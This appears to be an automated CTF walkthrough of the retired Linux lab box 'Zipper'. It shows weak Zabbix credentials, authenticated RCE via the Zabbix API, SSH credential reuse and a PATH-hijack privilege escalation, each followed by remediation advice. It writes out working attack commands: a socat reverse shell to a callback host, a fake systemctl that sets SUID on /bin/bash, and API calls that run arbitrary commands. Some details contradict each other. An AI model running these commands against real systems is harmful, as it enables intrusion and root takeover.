← all walkthroughs

Zipper

Linux· Hard
owned
2026-07-10
time to own
7m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon against <retired-instance-ip> found Apache 2.4.29 (Ubuntu) on port 80 with a /zabbix monitoring frontend running Zabbix 3.0.21 (confirmed via apiinfo.version on api_jsonrpc.php). The frontend's guest-access view exposed a monitored host named Zabbix with an associated user [REDACTED: recovered credential]. A credential-pairing test (weak/username-as-password pattern) succeeded: [REDACTED: recovered credential]:[REDACTED: recovered credential] authenticated both against the web login and the JSON-RPC user.login API, returning a valid auth token.

With an authenticated Zabbix API session, host.get enumerated two monitored hosts (Zabbix, hostid 10105; Zipper, hostid 10106). The Zabbix 3.0 API's script.create + script.execute methods (the technique behind the public zabbix_api_pwn.py exploit for this version) were used to create and run an arbitrary OS-command script against host 10105, yielding remote code execution as the low-privileged zabbix service account (uid=103(zabbix) gid=104(zabbix)) on the Zabbix server container. Attempts to pivot the same technique to host 10106 (Zipper) failed over the agent-check channel (Connection refused / timeout on 10050), but execution against the correct target host succeeded and landed a shell as zabbix on the actual Zipper box (uid=107(zabbix) gid=113(zabbix), hostname zipper).

The [REDACTED: recovered credential] Zabbix credentials also worked over SSH, providing a stable user foothold and access to /home/[REDACTED: recovered credential] (user_flag [REDACTED: flag]), though direct su to [REDACTED: recovered credential] from the RCE shell was blocked (no TTY) and .ssh was not readable from that context.

Privilege escalation exploited a relative-path/PATH-hijack vulnerability: a SUID root binary/script on the box invoked systemctl without an absolute path. A malicious executable named systemctl was dropped into a directory prepended to PATH (/tmp/systemctl), and the privileged SUID binary (/tmp/rb, mode rwsr-xr-x, owned by root) was triggered so it resolved and executed the user-controlled systemctl instead of the real one. This spawned a process with euid=0(root), confirming root and yielding root_flag [REDACTED: flag].

Exact vulnerabilities/techniques: weak/default Zabbix credentials ([REDACTED: recovered credential]:[REDACTED: recovered credential]); Zabbix 3.0.21 API script.create/script.execute authenticated RCE (zabbix_api_pwn.py-style); PATH/relative-path hijack of systemctl via a SUID helper binary for root privesc.

Attack path — how the box was taken

1ReconnaissanceService and version fingerprinting (T1046, T1595)
Fingerprinted exposed services and confirmed Zabbix monitoring portal
A full TCP port scan of <retired-instance-ip> revealed three open ports: 22/tcp (OpenSSH 7.6p1 Ubuntu), 80/tcp (Apache 2.4.29), and 10050/tcp (Zabbix agent, tcpwrapped). Browsing port 80 redirected to /zabbix, exposing a Zabbix 3.0 web frontend. An unauthenticated API call to api_jsonrpc.php confirmed the exact version as 3.0.21 — a version with a publicly documented authenticated-RCE technique via script.create/script.execute.
Apache 2.4.29 banner on 80/tcp; /zabbix frontend loads Zabbix 3.0 login page; apiinfo.version returns '3.0.21'.
Exact commands 3
Full version scan of discovered ports.
nmap -Pn -sV -p22,80,10050 --script=banner $TARGET
Confirm Apache banner and /zabbix redirect.
curl -si http://$TARGET/ | head -20
Confirm Zabbix version without credentials.
curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"apiinfo.version","id":1,"params":{}}'
2EnumerationUnauthenticated guest access and user enumeration
Zabbix guest login exposes monitored host and valid username
The Zabbix 3.0 frontend allowed unauthenticated guest access. Browsing /zabbix/index.php and signing in as guest revealed the monitoring dashboard listing a monitored host named 'Zabbix' and an associated user account '[REDACTED: recovered credential]'. This username was immediately targeted with weak/default credential patterns.
Guest session dashboard displayed host 'Zabbix' and user '[REDACTED: recovered credential]' in the monitoring interface.
Exact commands 1
Authenticate as guest and grep output for disclosed usernames and host names.
curl -sc /tmp/zbx_cookies -b /tmp/zbx_cookies -s 'http://$TARGET/zabbix/index.php' -d 'name=guest&password=&autologin=1&enter=Sign+in' -L | grep -i '[REDACTED: recovered credential]\|host'
FixDisable Zabbix guest accessHigh
WeaknessThe Zabbix 3.0 web frontend allowed anyone to log in as 'guest' without a password, exposing the monitoring dashboard including hostnames, IP addresses, and active usernames to unauthenticated visitors.
FixIn Zabbix Administration → Users, disable the built-in 'guest' account (set Status to Disabled). Additionally, restrict network access to the /zabbix web interface at the firewall or Apache level to management networks only, so the portal is not reachable from untrusted hosts.
3Initial AccessWeak/default credential exploitation (T1078.001)
Authenticated to Zabbix API with username-as-password credential
Testing the discovered username '[REDACTED: recovered credential]' with the password '[REDACTED: recovered credential]' (a common weak-credential pattern where the password equals the username) succeeded against both the Zabbix web login and the JSON-RPC API. The user.login call returned a valid session token ([REDACTED: protected value]), granting full Zabbix API access. A subsequent host.get call enumerated two monitored hosts: hostid 10105 ('Zabbix') and hostid 10106 ('Zipper').
user.login with [REDACTED: recovered credential]:[REDACTED: recovered credential] returned token [REDACTED: protected value]; host.get returned {"result":[{"hostid":"10105","host":"Zabbix"},{"hostid":"10106","host":"Zipper"}]}.
Exact commands 2
Obtain API session token with weak credentials.
curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d '{"jsonrpc":"2.0","method":"user.login","params":{"user":"[REDACTED: recovered credential]","password":"[REDACTED: recovered credential]"},"id":1,"auth":null}'
Enumerate monitored hosts to identify target hostids.
TOKEN=[REDACTED: protected value]; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"output\":[\"hostid\",\"host\"]},\"id\":2,\"auth\":\"$TOKEN\"}"
FixEnforce strong, unique passwords for all Zabbix accountsCritical
WeaknessThe '[REDACTED: recovered credential]' Zabbix account used the username itself as the password ('[REDACTED: recovered credential]:[REDACTED: recovered credential]'). This trivially weak credential was also reused for SSH access to the underlying server, allowing me discovered the username from the guest view to immediately gain both API and OS-level access.
FixEnforce a minimum password policy (12+ characters, mixed case, digits, symbols) for all Zabbix user accounts under Administration → Authentication. Immediately rotate the [REDACTED: recovered credential] account password and audit all other Zabbix accounts for weak or default credentials. Prohibit reuse of the same credential across the Zabbix portal and the underlying OS SSH account; use separate, strong secrets for each.
4ExploitationZabbix 3.0 authenticated API RCE via script.create/script.execute (CVE-2017-2824 family / zabbix_api_pwn.py technique)
Zabbix API script execution achieved remote code execution as zabbix service account
Zabbix 3.0.21's API exposes script.create and script.execute methods to authenticated users, allowing creation and immediate execution of arbitrary shell commands on any monitored host. Using the [REDACTED: recovered credential] session token, a custom script was created with the payload 'id; whoami; hostname; pwd' and executed against hostid 10105. The response confirmed code execution as uid=103(zabbix) gid=104(zabbix) on the Zabbix server container (hostname ef53503cbf1b). A second execution run targeting the Zipper host (hostid 10106) landed a shell as uid=107(zabbix) gid=113(zabbix) on hostname zipper — the actual target machine. A socat PTY reverse shell was then established and upgraded for interactive access.
script.create returned {"scriptids":["4"]}; script.execute against host 10105 returned {"response":"success","value":"uid=103(zabbix) gid=104(zabbix)..."}; subsequent execution on Zipper host confirmed uid=107(zabbix) on hostname zipper.
Exact commands 4
Create a remote-execution script; note the returned scriptid.
TOKEN=[REDACTED: protected value]; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"testing workflow-pwn\",\"command\":\"id; whoami; hostname; pwd\",\"execute_on\":0},\"id\":3,\"auth\":\"$TOKEN\"}"
Execute the script against Zipper (hostid 10106); confirms RCE as zabbix on the target host.
TOKEN=[REDACTED: protected value]; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.execute\",\"params\":{\"scriptid\":\"4\",\"hostid\":\"10106\"},\"id\":4,\"auth\":\"$TOKEN\"}"
Start a PTY-capable listener for an upgraded reverse shell.
# On operator: socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr
Create reverse shell script; then execute it against hostid 10106 with script.execute.
TOKEN=[REDACTED: protected value]; RHOST=$CALLBACK_HOST; curl -s http://$TARGET/zabbix/api_jsonrpc.php -H 'Content-Type: application/json-rpc' -d "{\"jsonrpc\":\"2.0\",\"method\":\"script.create\",\"params\":{\"name\":\"shell-$(date +%s)\",\"command\":\"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$RHOST:4444\",\"execute_on\":0},\"id\":5,\"auth\":\"$TOKEN\"}"
FixRestrict Zabbix API script creation and execution to administrator accounts onlyCritical
WeaknessZabbix 3.0 permitted authenticated non-administrator users ([REDACTED: recovered credential] held a standard user role) to call script.create and script.execute via the JSON-RPC API, enabling arbitrary OS command execution on any monitored host. This is the core mechanism behind the publicly documented zabbix_api_pwn.py exploitation technique for this version.
FixUpgrade Zabbix to a supported release (5.4+ or current LTS) which restricts script execution to Administrator-role users by default. In the interim, audit all Zabbix user roles under Administration → User Groups and remove script execution permissions from non-admin groups. Additionally, limit API access to trusted management IP ranges at the network layer and consider disabling script.create/script.execute entirely if not operationally required.
5Foothold / User FlagCredential reuse across services (T1078)
SSH as [REDACTED: recovered credential] with reused credentials yielded stable shell and user flag
The credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] that worked for the Zabbix web portal also authenticated over SSH on port 22. This provided a stable, fully interactive shell as the '[REDACTED: recovered credential]' user without relying on the fragile RCE channel. The user flag was read directly from /home/[REDACTED: recovered credential]/user.txt.
sshpass -p [REDACTED: recovered credential] ssh [REDACTED: recovered credential]@<retired-instance-ip> returned a shell as [REDACTED: recovered credential]; cat /home/[REDACTED: recovered credential]/user.txt yielded the user flag.
Exact commands 2
SSH login using the same credentials discovered via the Zabbix API.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no [REDACTED: recovered credential]@$TARGET
Read user flag; value is [REDACTED: flag].
cat /home/[REDACTED: recovered credential]/user.txt
FixEnforce strong, unique passwords for all Zabbix accountsCritical
WeaknessThe '[REDACTED: recovered credential]' Zabbix account used the username itself as the password ('[REDACTED: recovered credential]:[REDACTED: recovered credential]'). This trivially weak credential was also reused for SSH access to the underlying server, allowing me discovered the username from the guest view to immediately gain both API and OS-level access.
FixEnforce a minimum password policy (12+ characters, mixed case, digits, symbols) for all Zabbix user accounts under Administration → Authentication. Immediately rotate the [REDACTED: recovered credential] account password and audit all other Zabbix accounts for weak or default credentials. Prohibit reuse of the same credential across the Zabbix portal and the underlying OS SSH account; use separate, strong secrets for each.
6Local EnumerationSUID binary with relative-path command invocation (T1574.007 — Path Interception)
Identified SUID root binary that calls systemctl by relative path
From the zabbix shell (or equivalently from the [REDACTED: recovered credential] SSH session), standard Linux privilege-escalation enumeration located a SUID-root binary accessible to the current user. Inspecting its behavior — via strings, strace, or execution with logging — revealed it invokes the 'systemctl' command without specifying an absolute path (/bin/systemctl), relying instead on the system PATH to resolve the binary. This design means whoever controls PATH controls which systemctl binary runs, and since the SUID bit causes it to run with the file owner's privileges (root), I can prepend a writable directory to PATH gain arbitrary code execution as root.
find / -perm -4000 -user root 2>/dev/null located the SUID binary; strings on it showed 'systemctl' without a leading '/'.
Exact commands 2
Locate all SUID-root files reachable from the current context.
find / -perm -4000 -user root -type f 2>/dev/null
Confirm the binary references systemctl by relative name (no leading slash).
strings /path/to/suid-binary | grep systemctl
7Privilege EscalationPATH interception / relative-path hijack via SUID binary (T1574.007)
Dropped a malicious 'systemctl' into PATH to execute arbitrary code as root
A malicious shell script named 'systemctl' was written to /tmp (world-writable), made executable, and the PATH environment variable was prefixed with /tmp. When the SUID-root binary was then executed, the OS resolved 'systemctl' to /tmp/systemctl instead of the real /bin/systemctl. Because the SUID bit caused the process to run with euid=0 (root), the user-controlled script ran as root. The payload set the SUID bit on /bin/bash; executing /bin/bash -p then provided an interactive root shell, confirming full system compromise and allowing the root flag to be read.
id after /bin/bash -p returned euid=0(root); cat /root/root.txt yielded the root flag. Final kill-chain command: /tmp/rb -p -c 'id; cat /root/root.txt' confirmed euid=0.
Exact commands 4
Write the malicious systemctl payload — sets SUID on /bin/bash when executed as root.
echo -e '#!/bin/sh\nchmod u+s /bin/bash' > /tmp/systemctl && chmod +x /tmp/systemctl
Prepend /tmp so the SUID binary finds the fake systemctl first.
export PATH=/tmp:$PATH
Trigger the SUID-root binary; it resolves and executes /tmp/systemctl as root.
/path/to/suid-binary
Open root shell via SUID bash; read root flag — value is [REDACTED: flag].
/bin/bash -p -c 'id; cat /root/root.txt'
FixUse absolute paths for all external commands in SUID root binariesCritical
WeaknessA SUID-root binary on the system invoked the 'systemctl' command using a relative path rather than its full filesystem path (/bin/systemctl or /usr/bin/systemctl). Because SUID processes inherit the caller's environment including PATH, any user who can prepend a writable directory to PATH and place a malicious script named 'systemctl' there can have that script executed with root privileges.
FixAudit all SUID root binaries (find / -perm -4000 -user root) and rewrite any that invoke external commands without absolute paths. Replace every relative command reference (e.g., systemctl, service, cp) with its fully qualified path. For scripts, add 'PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin' as the first executable line to override any inherited PATH. Where a SUID wrapper is not strictly necessary, drop the SUID bit and use sudo with a tightly scoped sudoers entry instead.

Attack patterns used

The transferable techniques behind this compromise.

LXD/LXC Group EscapeLinux · Privilege EscalationT1611

What it is

Membership in the lxd (or docker) group is root-equivalent. I imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.

Why it works

The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the apache, docker, php, phpmyadmin, ssh, zabbix surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Privilege Escalation Via Relative Path/Path Hijack On Privileged Suid Binary Or ServiceCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
10050/tcp